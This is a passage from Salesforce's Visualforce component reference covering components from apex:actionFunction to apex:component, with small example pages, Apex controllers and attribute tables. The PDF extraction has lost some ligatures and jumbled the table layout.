<!-- Page: --> <apex:page controller="exampleCon"> <apex:form> <!-- Define the JavaScript function sayHello--> <apex:actionFunction name="sayHello" action="{!sayHello}" rerender="out" status="myStatus"/> </apex:form> <apex:outputPanel id="out"> <apex:outputText value="Hello "/> <apex:actionStatus startText="requesting..." id="myStatus"> <apex:facet name="stop">{!username}</apex:facet> </apex:actionStatus> </apex:outputPanel> <!-- Call the sayHello JavaScript function using a script element--> <script>window.setTimeout(sayHello,2000)</script> <p><apex:outputText value="Clicked? {!state}" id="showstate" /></p> <!-- Add the onclick event listener to a panel. When clicked, the panel triggers the methodOneInJavascript actionFunction with a param --> <apex:outputPanel onclick="methodOneInJavascript('Yes!')" styleClass="btn"> Click Me </apex:outputPanel> <apex:form> <apex:actionFunction action="{!methodOne}" name="methodOneInJavascript" rerender="showstate"> <apex:param name="firstParam" assignTo="{!state}" value="" /> </apex:actionFunction> </apex:form>
209
apex:actionFunction
</apex:page> /*** Controller ***/ public class exampleCon { String uname; public String getUsername() { return uname; } public PageReference sayHello() { uname = UserInfo.getName(); return null; } public void setState(String n) { state = n; } public String getState() { return state; } public PageReference methodOne() { return null; } private String state = 'no'; }
Attributes
Attribute Name Attribute Type
action
Description
ApexPages.Action The action method invoked when the actionFunction is called by a JavaScript event elsewhere in the page markup. Use merge-eld syntax to reference the method. For example, action="{!save}" references the save method in the controller. If an action is not specied, the page simply refreshes. String String Boolean The ID of the component that is in focus after the AJAX request completes. An identier that allows the actionFunction component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The name of the JavaScript function that, when invoked Yes elsewhere in the page markup, causes the method specied by the action attribute to execute. When the action method completes, the components specied by the reRender attribute are refreshed.
focus id immediate
name
String
12.0
global
210
apex:actionPoller
Description The JavaScript invoked when the onbeforedomupdate event occurs--that is, when the AJAX request has been processed, but before the browser's DOM is updated. The JavaScript invoked when the result of an AJAX update request completes on the client. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs. The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component. The amount of time (in milliseconds) before an AJAX update request should time out.
oncomplete rendered
String Boolean
12.0 12.0
global global
reRender
Object
12.0
global
status
String
12.0
global
timeout
Integer
12.0
global
apex:actionPoller
A timer that sends an AJAX update request to the server according to a time interval that you specify. The update request can then result in a full or partial page update. You should avoid using this component with enhanced lists. Note that if an <apex:actionPoller> is ever re-rendered as the result of another action, it resets itself. An <apex:actionPoller> must be within the region it acts upon. For example, to use an <apex:actionPoller> with an <apex:actionRegion>, the <apex:actionPoller> must be within the <apex:actionRegion>.
Example
<!-Page -->
<apex:page controller="exampleCon"> <apex:form> <apex:outputText value="Watch this counter: {!count}" id="counter"/> <apex:actionPoller action="{!incrementCounter}" rerender="counter" interval="15"/> </apex:form> </apex:page> /*** Controller: ***/
public class exampleCon { Integer count = 0; public PageReference incrementCounter() { count++; return null; }
211
apex:actionPoller
Attributes
Attribute Name Attribute Type
action
Description
ApexPages.Action The action method invoked by the periodic AJAX update request from the component. Use merge-eld syntax to reference the method. For example, action="{!incrementCounter}" references the incrementCounter() method in the controller. If an action is not specied, the page simply refreshes. Boolean String Integer A Boolean value that species whether the poller is active. If not specied, this value defaults to true. An identier that allows the component to be referenced by other components in the page. The time interval between AJAX update requests, in seconds. This value must be 5 seconds or greater, and if not specied, defaults to 60 seconds. Note that the interval is only the amount of time between update requests. Once an update request is sent to the server, it enters a queue and can take additional time to process and display on the client. The JavaScript invoked when the result of an AJAX update request completes on the client. The JavaScript invoked before an AJAX update request has been sent to the server. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs. The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component. The amount of time (in milliseconds) before an AJAX update request should time out.
enabled id interval
reRender
Object
10.0
global
status
String
10.0
global
timeout
Integer
10.0
global
212
apex:actionRegion
apex:actionRegion
An area of a Visualforce page that demarcates which components should be processed by the Force.com server when an AJAX request is generated. Only the components in the body of the <apex:actionRegion> are processed by the server, thereby increasing the performance of the page. Note that an <apex:actionRegion> component only denes which components the server processes during a requestit does not dene what area(s) of the page are re-rendered when the request completes. To control that behavior, use the rerender attribute on an <apex:actionSupport>, <apex:actionPoller>, <apex:commandButton>, <apex:commandLink>, <apex:tab>, or <apex:tabPanel> component. See also: Using the transient keyword
<!-- For this example to render properly, you must associate the Visualforce page with a valid opportunity record in the URL. For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Opportunity"> <apex:form > <apex:pageBlock title="Edit Opportunity" id="thePageBlock" mode="edit"> <apex:pageBlockButtons > <apex:commandButton value="Save" action="{!save}"/> <apex:commandButton value="Cancel" action="{!cancel}"/> </apex:pageBlockButtons> <apex:pageBlockSection columns="1"> <apex:inputField value="{!opportunity.name}"/> <apex:pageBlockSectionItem> <apex:outputLabel value="{!$ObjectType.opportunity.fields.stageName.label}" for="stage"/> <!-Without the actionregion, selecting a stage from the picklist would cause a validation error if you hadn't already entered data in the required name and close date fields. It would also update the timestamp. --> <apex:actionRegion> <apex:inputField value="{!opportunity.stageName}" id="stage"> <apex:actionSupport event="onchange" rerender="thePageBlock" status="status"/> </apex:inputField> </apex:actionRegion> </apex:pageBlockSectionItem> <apex:inputfield value="{!opportunity.closedate}"/> {!text(now())} </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
213
apex:actionStatus
Attributes
Attribute Name Attribute Type
id immediate
Description An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether AJAX-invoked behavior outside of the actionRegion should be disabled when the actionRegion is processed. If set to true, no component outside the actionRegion is included in the AJAX response. If set to false, all components in the page are included in the response. If not specied, this value defaults to true.
String Boolean
rendered
Boolean
10.0
global
renderRegionOnly Boolean
10.0
global
apex:actionStatus
A component that displays the status of an AJAX update request. An AJAX request can either be in progress or complete.
Example
<!-Page: -->
<apex:page controller="exampleCon"> <apex:form> <apex:outputText value="Watch this counter: {!count}" id="counter"/> <apex:actionStatus startText=" (incrementing...)" stopText=" (done)" id="counterStatus"/> <apex:actionPoller action="{!incrementCounter}" rerender="counter" status="counterStatus" interval="15"/> </apex:form> </apex:page> /*** Controller: ***/ public class exampleCon { Integer count = 0; public PageReference incrementCounter() { count++; return null; } public Integer getCount() {
214
apex:actionStatus
return count; } }
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The ID of an actionRegion component for which the status indicator is displaying status. An identier that allows the actionStatus component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The manner with which the actionStatus component should be displayed on the page. Possible values include "block", which embeds the component in a div HTML element, or "inline", which embeds the component in a span HTML element. If not specied, this value defaults to "inline". The JavaScript invoked if the onclick event occurs--that is, if the component is clicked. The JavaScript invoked if the ondblclick event occurs--that is, if the component is clicked twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the component. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the component.
String
for id lang
layout
String
10.0
global
onmouseover
String
10.0
global
215
apex:actionStatus
Description The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked at the start of the AJAX request. The JavaScript invoked upon completion of the AJAX request. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the status element at the start of an AJAX request, used primarily for adding inline CSS styles. The style class used to display the status element at the start of an AJAX request, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The status text displayed at the start of an AJAX request. The style used to display the status element when an AJAX request completes, used primarily for adding inline CSS styles. The style class used to display the status element when an AJAX request completes, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The status text displayed when an AJAX request completes. The style used to display the status element, regardless of the state of an AJAX request, used primarily for adding inline CSS styles. The style class used to display the status element, regardless of the state of an AJAX request, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The text to display as a tooltip when the user's mouse pointer hovers over this component.
Required? API Access Version 10.0 10.0 10.0 10.0 global global global global
startStyle
String
10.0
global
startStyleClass String
10.0
global
startText stopStyle
String String
10.0 10.0
global global
stopStyleClass String
10.0
global
stopText style
String String
10.0 10.0
global global
styleClass
String
10.0
global
title
String
10.0
global
Facets
Facet Name
start
Description The components that display when an AJAX request begins. Use this facet as an alternative to the startText attribute. Note that the order in which a start facet appears in the body of an actionStatus component does not matter, because any
216
apex:actionSupport
Facet Name
Description facet with the attribute name="start" controls the appearance of the actionStatus component when the request begins.
API Version
stop
The components that display when an AJAX request completes. Use this facet as 10.0 an alternative to the stopText attribute. Note that the order in which a stop facet appears in the body of an actionStatus component does not matter, because any facet with the attribute name="stop" controls the appearance of the actionStatus component when the request completes.
apex:actionSupport
A component that adds AJAX support to another component, allowing the component to be refreshed asynchronously by the server when a particular event occurs, such as a button click or mouseover. See also: <apex:actionFunction>.
Example
<!-- Page: --> <apex:page controller="exampleCon"> <apex:form> <apex:outputpanel id="counter"> <apex:outputText value="Click Me!: {!count}"/> <apex:actionSupport event="onclick" action="{!incrementCounter}" rerender="counter" status="counterStatus"/> </apex:outputpanel> <apex:actionStatus id="counterStatus" startText=" (incrementing...)" stopText=" (done)"/> </apex:form> </apex:page> /*** Controller: ***/ public class exampleCon { Integer count = 0; public PageReference incrementCounter() { count++; return null; } public Integer getCount() { return count; } }
217
apex:actionSupport
Attributes
Attribute Name Attribute Type
action
Description
ApexPages.Action The action method invoked by the AJAX request to the server. Use merge-eld syntax to reference the method. For example, action="{!incrementCounter}" references the incrementCounter() method in the controller. If an action is not specied, the page simply refreshes. Boolean A Boolean value that allows you to disable the component. When set to "true", the action is not invoked when the event is red. A Boolean value that species whether the default browser processing should be skipped for the associated event. If set to true, this processing is skipped. If not specied, this value defaults to true. The JavaScript event that generates the AJAX request. Possible values include "onblur", "onchange", "onclick", "ondblclick", "onfocus", "onkeydown", "onkeypress", "onkeyup", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseup", "onselect", and so on. The ID of the component that is in focus after the AJAX request completes. An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The JavaScript invoked when the onbeforedomupdate event occurs--that is, when the AJAX request has been processed, but before the browser's DOM is updated. The JavaScript invoked when the result of an AJAX update request completes on the client. The JavaScript invoked before an AJAX update request has been sent to the server. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs.
disabled
16.0
disableDefault Boolean
10.0
global
event
String
10.0
global
focus id immediate
onbeforedomupdate String
11.0
global
reRender
Object
10.0
global
218
apex:attribute
Description The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component. The amount of time (in milliseconds) before an AJAX update request should time out.
String
timeout
Integer
10.0
global
apex:attribute
A denition of an attribute on a custom component. The attribute tag can only be a child of a component tag. Note that you cannot dene attributes with names like id or rendered. These attributes are automatically created for all custom component denitions.
Example
<!-- Page: --> <apex:page> <c:myComponent myValue="My component's value" borderColor="red" /> </apex:page> <!-- Component:myComponent --> <apex:component> <apex:attribute name="myValue" description="This is the value for the component." type="String" required="true"/> <apex:attribute name="borderColor" description="This is color for the border." type="String" required="true"/> <h1 style="border:{!borderColor}"> <apex:outputText value="{!myValue}"/> </h1> </apex:component>
Attributes
Attribute Name Attribute Type
access
Description Indicates whether the attribute can be used outside of any page in the same namespace as the attribute. Possible values are "public" (default) and "global". Use global to indicate the attribute can be used outside of the attribute's namespace. If the access attribute on the parent apex:component is set to global, it must also be set to global on this component. If the access attribute on the parent apex:component is set to public, it cannot be set to global on this component. NOTE: Attributes with this designation are subject to the deprecation policies as described for managed packages in the appexchange.
String
219
apex:column
Description A setter method that assigns the value of this attribute to a class variable in the associated custom component controller. If this attribute is used, getter and setter methods, or a property with get and set values, must be dened. The default value for the attribute. A text description of the attribute. This description is included in the component reference as soon as the custom component is saved. This is a temporary option to address an issue affecting some package installations. It will be removed in the next release. Do not use unless advised to do so by Salesforce. An identier that allows the attribute to be referenced by other tags in the custom component denition.
Object
default description
String String
13.0 12.0
global global
encode
Boolean
15.0
id name
String String
12.0 12.0
global global
The name of the attribute as it is used in Visualforce Yes markup when the associated custom component includes a value for the attribute. The name must be unique from all other attributes in the component denition. Note that you cannot dene attributes named id, rendered, or action. These attributes are either automatically created for all custom component denitions, or otherwise not usable. A Boolean value that species whether a value for the attribute must be provided when the associated custom component is included in a Visualforce page. If set to true, a value is required. If not specied, this value defaults to false. The Apex data type of the attribute. If using the assignTo Yes attribute to assign the value of this attribute to a controller class variable, the value for type must match the data type of the class variable. Only the following data types are allowed as values for the type attribute: primitives, such as String, Integer, or Boolean; sObjects, such as Account, My_Custom_Object__c, or the generic sObject type; one-dimensional lists specied using array-notation, such as String[], or Contact[]; and custom Apex types (classes).
required
Boolean
12.0
global
type
String
12.0
global
apex:column
A single column in a table. An <apex:column> component must always be a child of an <apex:dataTable> or <apex:pageBlockTable> component.
220
apex:column
Note that if you specify an sObject eld as the value attribute for an <apex:column>, the associated label for that eld is used as the column header by default. To override this behavior, use the headerValue attribute on the column, or the column's header facet.
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Account"> <apex:pageBlock title="My Content"> <apex:pageBlockTable value="{!account.Contacts}" var="item"> <apex:column value="{!item.name}"/> <apex:column value="{!item.phone}"/> </apex:pageBlockTable> </apex:pageBlock> </apex:page>
Attributes
Attribute Name Attribute Type
breakBefore
Description A Boolean value that species whether the column should begin a new row in the table. If set to true, the column begins a new row. If not specied, this value defaults to false. The number of columns that this column spans in the table. Note that this value does not apply to the header and footer cells. The direction in which text in the generated column should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). Note that this value does not apply to the header and footer cells. The style class used to display the column footer, if dened. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page.
Boolean
colspan
Integer
10.0
global
dir
String
10.0
global
footerClass
String
10.0
global
String String
221
apex:column
Description This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. The text that should be displayed in the column footer. If you specify a value for this attribute, you cannot use the column's footer facet. The style class used to display the table header, if dened. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The number of columns that the header column spans in the table, if dened. This attribute cannot be used in Visualforce page versions 16.0 and above. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page.
Required? API Access Version 10.0 10.0 10.0 10.0 10.0 10.0 10.0 10.0 10.0 12.0 global global global global global global global global global global
headerClass
String
10.0
global
headercolspan String
10.0
global
headerdir headerlang
String String
headeronclick String headerondblclick String headeronkeydown String headeronkeypress String headeronkeyup String
222
apex:column
Description This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. This attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. The text that should be displayed in the column header. If you specify a value for this attribute, you cannot use the column's header facet. Note also that specifying a value for this attribute overrides the default header label that appears if you use an inputField or outputField in the column body. An identier that allows the column component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onclick event occurs in the column --that is, if the column is clicked. Note that this value does not apply to the header and footer cells. The JavaScript invoked if the ondblclick event occurs in the column--that is, if the column is clicked twice. Note that this value does not apply to the header and footer cells. The JavaScript invoked if the onkeydown event occurs in the column --that is, if the user presses a keyboard key. Note that this value does not apply to the header and footer cells. The JavaScript invoked if the onkeypress event occurs in the column--that is, if the user presses or holds down a keyboard key. Note that this value does not apply to the header and footer cells. The JavaScript invoked if the onkeyup event occurs in the column--that is, if the user releases a keyboard key.
Required? API Access Version 10.0 10.0 10.0 10.0 10.0 10.0 10.0 12.0 global global global global global global global global
id lang
String String
10.0 10.0
global global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
223
apex:column
Description Note that this value does not apply to the header and footer cells.
onmousedown
String
The JavaScript invoked if the onmousedown event occurs in the column--that is, if the user clicks a mouse button. Note that this value does not apply to the header and footer cells. The JavaScript invoked if the onmousemove event occurs in the column--that is, if the user moves the mouse pointer. Note that this value does not apply to the header and footer cells. The JavaScript invoked if the onmouseout event occurs in the column--that is, if the user moves the mouse pointer away from the column. Note that this value does not apply to the header and footer cells. The JavaScript invoked if the onmouseover event occurs in the column--that is, if the user moves the mouse pointer over the column. Note that this value does not apply to the header and footer cells. The JavaScript invoked if the onmouseup event occurs in the column--that is, if the user releases the mouse button. Note that this value does not apply to the header and footer cells. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The number of rows that each cell of this column takes up in the table. The style used to display the column, used primarily for adding inline CSS styles. Note that this value does not apply to the header and footer cells. The style class used to display the column, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. Note that this value does not apply to the header and footer cells. The text to display as a tooltip when the user's mouse pointer hovers over this component. The text that should be displayed in every cell of the column, other than its header and footer cells. If you specify a value for this attribute, you cannot add any content between the column's opening and closing tags. The width of the column in pixels (px) or percentage (%). If not specied, this value defaults to 100 pixels.
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
rowspan style
Integer String
10.0 10.0
global global
styleClass
String
10.0
global
title value
String String
10.0 12.0
global global
width
String
10.0
global
224
apex:commandButton
Facets
Facet Name
footer
Description
API Version
The components that appear in the footer cell for the column. Note that the order 10.0 in which a footer facet appears in the body of a column component does not matter, because any facet with name="footer" will control the appearance of the nal cell in the column. If you use a footer facet, you cannot specify a value for the column's footerValue attribute. The components that appear in the header cell for the column. Note that the order 10.0 in which a header facet appears in the body of a column component does not matter, because any facet with name="header" will control the appearance of the rst cell in the column. If you use a header facet, you cannot specify a value for the column's headerValue attribute. Note also that specifying a value for this facet overrides the default header label that appears if you use an inputField or outputField in the column body.
header
apex:commandButton
A button that is rendered as an HTML input element with the type attribute set to submit, reset, or image, depending on the <apex:commandButton> tag's specied values. The button executes an action dened by a controller, and then either refreshes the current page, or navigates to a different page based on the PageReference variable that is returned by the action. An <apex:commandButton> component must always be a child of an <apex:form> component. To add query string parameters to the <apex:commandButton>, specify them in the associated action method attribute. See also: <apex:commandLink>
<apex:commandButton action="{!save}" value="Save" id="theButton"/>
Attributes
Attribute Name Attribute Type
accesskey
Description The keyboard access key that puts the command button in focus. When the command button is in focus, pressing the Enter key is equivalent to clicking the button.
String
action
ApexPages.Action The action method invoked by the AJAX request to the server. Use merge-eld syntax to reference the method. For example, action="{!save}" references the save method in the controller. If an action is not specied, the page simply refreshes. Note that command buttons associated with the save, edit, or delete actions in a standard
10.0
global
225
apex:commandButton
Description controller are not rendered if the user does not have the appropriate permissions. Likewise if no particular record is associated with a page, command buttons associated with the edit and delete actions are also not rendered.
alt dir
String String
An alternate text description of the command button. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether this button should be displayed in a disabled state. If set to true, the button appears disabled. If not specied, this value defaults to false. An identier that allows the commandButton component to be referenced by other components in the page. The absolute or relative URL of the image displayed as this button. If specied, the type of the generated HTML input element is set to "image." A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the command button. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the command button. The JavaScript invoked when the result of an AJAX update request completes on the client. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the command button twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the command button. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
10.0 10.0
global global
disabled
Boolean
10.0
global
id image
String String
10.0 10.0
global global
immediate
Boolean
11.0
global
lang
String
10.0
global
226
apex:commandButton
Description The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the command button. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the command button. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs. The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component. The style used to display the commandButton component, used primarily for adding inline CSS styles. The style class used to display the commandButton component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this button is selected compared to other page components when a user presses the Tab key repeatedly. This value must be a number between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The amount of time (in milliseconds) before an AJAX update request should time out. The text to display as a tooltip when the user's mouse pointer hovers over this component. The text displayed on the commandButton as its label.
Required? API Access Version 10.0 10.0 10.0 10.0 global global global global
onmouseover
String
10.0
global
onmouseup rendered
String Boolean
10.0 10.0
global global
reRender
Object
10.0
global
status
String
10.0
global
style styleClass
String String
10.0 10.0
global global
tabindex
String
10.0
global
227
apex:commandLink
apex:commandLink
A link that executes an action dened by a controller, and then either refreshes the current page, or navigates to a different page based on the PageReference variable that is returned by the action. An <apex:commandLink> component must always be a child of an <apex:form> component. To add query string parameters to an <apex:commandLink>, specify them in the associated action method attribute. See also: <apex:commandButton>, <apex:outputLink>.
Example
<apex:commandLink action="{!save}" value="Save" id="theCommandLink"/>
Attributes
Attribute Name Attribute Type
accesskey
Description The keyboard access key that puts the command link in focus. When the command link is in focus, pressing the Enter key is equivalent to clicking the link.
String
action
ApexPages.Action The action method invoked by the AJAX request to the server. Use merge-eld syntax to reference the method. For example, action="{!save}" references the save() method in the controller. If an action is not specied, the page simply refreshes. Note that command links associated with the save, edit, or delete actions in a standard controller are not rendered if the user does not have the appropriate permissions. Likewise if no particular record is associated with a page, command links associated with the edit and delete actions are also not rendered. String String The character set used to encode the specied URL. If not specied, this value defaults to ISO-8859-1. The position and shape of the hot spot on the screen used for the command link (for use in client-side image maps). The number and order of comma-separated values depends on the shape being dened. For example, to dene a rectangle, use coords="left-x, top-y, right-x, bottom-y". To dene a circle, use coords="center-x, center-y, radius". To dene a polygon, use coords="x1, y1, x2, y2, ..., xN, yN", where x1 = nN and y1 = yN. Coordinates can be expressed in pixels or percentages, and represent the distance from the top-left corner of the image that is mapped. See also the shape attribute.
10.0
global
charset coords
10.0 10.0
global global
228
apex:commandLink
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The base language for the resource referenced by this command link, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. An identier that allows the commandLink component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the command link. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the command link. The JavaScript invoked when the result of an AJAX update request completes on the client. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the command link twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the command link. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the command link.
String
hreflang
String
10.0
global
id immediate
String Boolean
10.0 11.0
global global
lang
String
10.0
global
229
apex:commandLink
Description The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the command link. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The relationship from the current document to the URL specied by this command link. The value of this attribute is a space-separated list of link types. For more information on this attribute, see the W3C specications. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs. The reverse link from the URL specied by this command link to the current document. The value of this attribute is a space-separated list of link types. For more information on this attribute, see the W3C specications. The shape of the hot spot in client-side image maps. Valid values are default, circle, rect, and poly. See also the coords attribute. The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component. The style used to display the commandLink component, used primarily for adding inline CSS styles. The style class used to display the commandLink component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this link is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The name of the frame where the resource retrieved by this command link should be displayed. Possible values for this attribute include "_blank", "_parent", "_self ", and "_top". You can also specify your own target names by assigning a value to the name attribute of a desired destination.
String
onmouseup rel
String String
10.0 10.0
global global
rendered
Boolean
10.0
global
reRender
Object
10.0
global
rev
String
10.0
global
shape
String
10.0
global
status
String
10.0
global
style styleClass
String String
10.0 10.0
global global
tabindex
String
10.0
global
target
String
10.0
global
230
apex:component
Description The amount of time (in milliseconds) before an AJAX update request should time out. The text to display as a tooltip when the user's mouse pointer hovers over this component. The MIME content type of the resource designated by this command link. Possible values for this attribute include "text/html", "image/png", "image/gif ", "video/mpeg", "text/css", and "audio/basic". For more information, including a complete list of possible values, see the W3C specications. The text that is displayed as the commandLink label. Note that you can also specify text or an image to display as the command link by embedding content in the body of the commandLink tag. If both the value attribute and embedded content are included, they are displayed together.
Required? API Access Version 10.0 10.0 10.0 global global global
value
Object
10.0
global
apex:component
A custom Visualforce component. All custom component denitions must be wrapped inside a single <apex:component> tag.
<!-- Page: --> <apex:page> <c:myComponent myValue="My component's value" borderColor="red" /> </apex:page>
<!-- Component:myComponent --> <apex:component> <apex:attribute name="myValue" description="This is the value for the component." type="String" required="true"/> <apex:attribute name="borderColor" description="This is color for the border." type="String" required="true"/> <h1 style="border:{!borderColor}"> <apex:outputText value="{!myValue}"/> </h1> </apex:component>
231
apex:component
Attributes
Attribute Name Attribute Type
access
